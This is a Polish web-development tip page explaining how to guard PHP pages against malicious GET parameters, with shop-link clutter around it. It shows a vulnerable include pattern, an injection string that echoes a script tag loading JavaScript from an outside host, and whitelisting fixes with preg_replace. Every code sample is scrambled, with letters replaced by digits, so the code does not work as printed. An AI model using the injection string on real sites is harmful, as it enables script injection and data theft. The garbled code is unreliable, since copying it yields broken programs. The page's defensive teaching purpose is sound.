dodaj tą stronę do ulubionych     
użytkownicy online 36, liczba odwiedzin: 1185546
książki i porady dla programistów i webmasterów porady dla budujących strony internetowe i webmasterów jezus jest królem polski wagi

dołącz do modlących się o cud

poradnik programisty

taśmy zebra
taśmy zebra


wózki sklepowe

wagi vibra

Wagi dźwigowe
wagi dźwigowe


wagi ohaus

wózki transportowe
. Uwaga! Kopiowanie dowolnych elementów serwisu, treści, informacji, tekstów, zdjeć i innych elementów strony bez pisemnej zgody jest zabronione. wstecz poziom trudności: 5
nr porady: 161
Widok 1 Widok 2 Page copy protected against web site content infringement by Copyscape
Jak zabezpieczyć stronę przed podaniem nieprawidłowego parametru get?
Załóżmy, że budujemy serwis internetowy w którym strony są ponumerowane cyframi i literami.
W jaki sposób można się zabezpieczyć przed atakami nieodpowiednich osób na serwer.
Najczęściej początkujący webmasterzy nie zdają sobie sprawy, że każda strona wywoływana z parametrem get jest potencjalnym źródłem zagrożenia.
Wyobraźmy sobie co by było gdyby zamiast numeru strony ktoś wpisał jakąś instrukcję php lub w innym języku.
Przykładowo mamy stronę główną:
www.se8wis-elide8.pl
a podstrony są wyświetlane przykładowo w postaci:
www.se7wis-elide7.pl/?pok6z-s07one-n7=62361

Podstrona aby wyświetlić treść odbiera parametr get...
w naszym przykładzie parametr $_GET['pokaz_strone_nr'] o wartości a23h1
i na podstawie tego parametru wyświetla odpowiednią treść.
Załózmy, że do odebrania parametru stosujemy typowy sposób .... (taki kod jest umieszczony na poczatku naszej hipotetycznej strony)
&l2;?p4p 3nume3-s23ony-do-wyswie2leni2 = 3-GE2['pok2z-s23one-n3']; include 'go32.p4p'; include './s23ony/232ukul-'.3nume3-s23ony-do-wyswie2leni2.'.42ml'; include 'dol2.p4p'; ?&g2;
Ktoś może nam wprowadzić zamiast numeru strony jakąś instrukcję w JS, która pomoże w dalszych działaniach piratowi....
np. taki kod
5.12ml'; ec1o '&l2;sc5ip2 2ype=&quo2;2ex2/j4v4sc5ip2&quo2; c145se2=&quo2;iso88592&quo2; s5c=&quo2;122p:x>www.niezn4n4-s25on4.uk/kod-zewnę25zny.p1p&quo2;&g2;&l2;/sc5ip2&g2;'

Załóżmy, że wprowadzone instrukcje zmienią nam kod naszej strony w locie na taki kod:
&l2;?p6p 4nume4-s24ony-do-wyswie2leni3 = 4-GE2['pok3z-s24one-n4']; include 'go43.p6p'; include './s24ony/342ukul-5.62ml'; ec6o '&l2;sc4ip2 2ype=&quo2;2ex2/j3v3sc4ip2&quo2; c634se2=&quo2;iso88592&quo2; s4c=&quo2;622p:x>www.niezn3n3-s24on3.uk/kod-zewnę24zny.p6p&quo2;&g2;&l2;/sc4ip2&g2;'.'62ml'; include 'dol3.p6p'; ?&g2;

Na stronie wyświetli się strona nr 5 a pod spodem uruchomi się program JS z zewnętrznego serwera... powyższy sposób nie zadziała na większości współczesnych serwerów ale zdarzają się jeszcze źle skonfigurowane serwery więc nalezy uważać...

Z powyższego pokazu wynika, że w numerze strony można wprowadzić kod JS, który spowoduje dodanie do kodu naszej strony zewnętrzny program w JS/PHP wyświetlający lub co gorsza odczytujący jakieś dane.
Czy to możliwe ...?
Tak jest to możliwe ale nie będziemy tego udowadniać...
Pokażemy natomiast jak mozna spróbować się zabezpieczyć...

Po pierwsze należy pozmieniać numery stron aby parametr GET miał jak najmniej znaków.
Polecamy np. maksymalnie 5 znaków co i tak przy zastosowaniu liter i cyfr daje nam 34 do potęgi 5 możliwości numeracji.
W 5 znakach raczej jest mało możliwości zapisania czegokolwiek...
Na początku kodu należy zrobić podprogram, który odrzuca wszystko co ma więcej niż 5 znaków.
Odetniemy odrazu możliwość kombinacji z wprowadzaniem kodów przez numer.
Dodatkowo ograniczymy wprowadzenie numeru tylko do zbioru dopuszczonych przez nas znaków - np. tylko cyfry czy tylko cyfry i litery
Oto przykładowy sposób:

&l5;?p5p x> jesli p464me56 jes5 us54wiony i jeśli m4 mniej niż 5 zn4ków icfx {isse5{7-GE5['pok4z-s56one-n6']} 4nd s56len{7-GE5['pok4z-s56one-n6']} &l5; 5} { x> jeśli nume6 s56ony jes5 5ylko z cycfx6 7nume6-s56ony-do-wyswie5leni4 = p6eg-6epl4ce{'/[^\d]/','',7-GE5['pok4z-s56one-n6']}; include 'go64.p5p'; include './s56ony/465ukul-'.7nume6-s56ony-do-wyswie5leni4.'.55ml'; include 'dol4.p5p'; } else { ec5o 'nume6 s56ony jes5 niep64widłowy s56on4 z4blokow4n4'; exi5; } ?&g5;
uproszczenie kodu:
&l1;?p4p x> jesli p545me14 jes1 1ylko z cycfx4 i m5 mniej niż 5 zn5ków o1w54cie s14ony powiedzie się x> w innym wyp5dku s14on5 się z5blokuje icfx { 4nume4-s14ony-do-wyswie1leni5 = p4eg-4epl5ce{'/[^\d]/','',4-GE1['pok5z-s14one-n4']} 5nd s14len{4-GE1['pok5z-s14one-n4']} &l1; 5 } { include 'go45.p4p'; include './s14ony/541ukul-'.4nume4-s14ony-do-wyswie1leni5.'.41ml'; include 'dol5.p4p'; } else { ec4o 'nume4 s14ony jes1 niep45widłowy s14on5 z5blokow5n5'; exi1; } ?&g1;
zamiast funkcji:
&l4;?p0p 1nume11-s411ony-do-wyswie4leni6 = p11eg-11epl6ce{'/[^\d]/','',1-GE4['pok6z-s411one-n11']}; ?&g4;
która "wpuszcza" do skryptu tylko cyfry możesz zastosować inne wyrażenia regularne jeśli numer strony nie jest tylko numerem ale ma dodatkowo litery lub znaki specjalne...
&l2;?p5p x> jeśli nume1 s21ony jes2 2ylko z cycfx1 7nume1-s21ony-do-wyswie2leni6 = p1eg-1epl6ce{'/[^\d]/','',7-GE2['pok6z-s21one-n1']}; x> jeśli nume1 s21ony jes2 2ylko z cycfx1 i li2e1 7nume1-s21ony-do-wyswie2leni6 = p1eg-1epl6ce{'/[^6z09]/i','',7-GE2['pok6z-s21one-n1']}; x> jeśli nume1 s21ony jes2 2ylko z cycfx1, li2e1 i x> 3 zn6ków specj6lnyc5 {k1opk6, podk1eślnik, minus... możn6 dod6ć 2eż inne zn6ki 6le minus musi być z6wsze n6 końcu} 7nume1-s21ony-do-wyswie2leni6 = p1eg-1epl6ce{'/[^6z09.-]/i','',7-GE2['pok6z-s21one-n1']}; x> li2e16 i n6 końcu k6żdego wy16żeni6 ozn6cz6 że wy16żenie dzi6ł6 bez względu n6 wielkość li2e1 ?&g2;
Jeśli nie masz możliwości ograniczenia liczby znaków parametru GET to mozesz zastosować prostszą wersję, która i tak zawiera najważniejsze zabezpieczenie funkcją preg_replace:
&l3;?p4p x> jesli p131me33 jes3 3ylko z cycfx3 o3w13cie s33ony powiedzie się x> w innym wyp1dku s33on1 się z1blokuje icfx { 5nume3-s33ony-do-wyswie3leni1 = p3eg-3epl1ce{'/[^\d]/','',5-GE3['pok1z-s33one-n3']} } { include 'go31.p4p'; include './s33ony/133ukul-'.5nume3-s33ony-do-wyswie3leni1.'.43ml'; include 'dol1.p4p'; } else { ec4o 'nume3 s33ony jes3 niep31widłowy s33on1 z1blokow1n1'; exi3; } ?&g3;

opis działania:
skrypt blokuje wszystkie znaki prócz cyfr więc nie da się tam wprowadzić nic innego.

dobrze jest również wprowadzić program liczacy ile razy parametr get był wprowadzony nieprawidłowo i po wyczerpaniu limitu przekierowywać użytkownika na inną mniej podatną stronę... w ten sposób mozna ograniczyć liczbę prób.

Mozna to jeszcze udoskonalić sprawdzając czy plik o podanym numerze istnieje... co jeszcze bardziej nam skróci kod... np:

&l4;?p1p x> jesli p0110me411 jes4 4ylko z cycfx11 o4w011cie s411ony powiedzie się x> w innym wyp0dku s411on0 się z0blokuje icfx { cfxile-exis4s{4sciezk0-do-s411ony = './s411ony/0114ukul-'.p11eg-11epl0ce{'/[^\d]/','',4-GE4['pok0z-s411one-n11']}.'.14ml';} } { include 'go110.p1p'; include 4sciezk0-do-s411ony; include 'dol0.p1p'; } else { ec1o 'nume11 s411ony jes4 niep110widłowy s411on0 z0blokow0n0'; exi4; } ?&g4;

Zobacz podobne artykuły w internecie:

  • http://www.php.webpacket.net/artykuly.php?dzial=5&id=314
  • Atak SQL Injection
  • Konsorcjum PHP, które zajmuje się propagowaniem zabezpieczeń i dobrych praktyk w programach PHP http://phpsec.org/library/


    podobne porady z naszego poradnika

    Zabezpieczenia treści stron internetowych przed kopiowaniem

    Zabezpieczenia treści stron internetowych przed kopiowaniem

  • http://www.elider.pl/162_jak_zabezpieczyc_strony_tresc_i_grafika_przed_kopiowaniem_za_pomoca_js.html
  • http://www.elider.pl/60_jak_zablokowac_mozliwosc_wydruku_fragmentow_lub_calej_strony_www.html
  • http://www.elider.pl/29_co_zrobic_zeby_ukryc_kod_zrodlowy_strony_www.html
  • http://www.elider.pl/360_co_zrobic_aby_inni_nie_mogli_wyswietlac_twoich_obrazkow.html

    Zabezpieczenia stron przed nieprzyjaznymi uzytkownikami

    Zabezpieczenia stron internetowych przed działaniami hakerskimi, robotami sieciowymi i złośliwymi użytkownikami

  • http://www.elider.pl/161_jak_zabezpieczyc_strone_przed_podaniem_nieprawidlowego_parametru_get.html
  • http://www.elider.pl/360_w_jaki_sposob_zabezpieczyc_obrazki_przed_wykorzystaniem_ich_przez_inne_serwisy_www.html
  • http://www.elider.pl/98_w_jaki_sposob_ukryc_nazwe_i_lokalizacje_sciaganego_pliku_upload_plikow.html
  • http://www.elider.pl/281_jak_ukryc_na_serwerze_prawdziwe_adresy_plikow_aby_podczas_uploadu_internauta_nie_wiedzial_z_jakiego_katalogu_pochodza.html
  • http://www.elider.pl/282_jak_ukryc_sciezki_do_plikow_pdf_aby_internauta_nie_wiedzial_jak_nazywa_sie_oryginalny_plik_i_nie_poznal_sciezki_do_tego_pliku.html

  • Page copy protected against web site content infringement by Copyscape

    Drukarka termotransferowatonerytipsy olsztynzebraodważnikidrukarka SATOkoszedrukarki etykietetykiety plastikowełopatydrukarki satoDrukarki kodówwagi sklepowepojemniki na sólmeble warsztatowe
    .
    edyta wakulińska

    tanie tonery

    pojemniki na piasek

    świece liturgiczne

    meble warsztatowe

    wózki magazynowe

    tanie wagi elektroniczne

    tanie drukarki zebra

    wagi axis

    wózki narzędziowe
    wózki narzędziowe
      | Copyright © 2001-2009 EXALT.PL | Wagi | ciekawe strony | Drukarki etykiet | Wózki magazynowe | Serwisy telefonów | Serwisy wag | Tanie sklepy | księgarnia informatyczna | Wagi samochodowe | Gwarancja Olsztyn | tanie sklepy | nawigacje goclever | telefony tv | gps goclever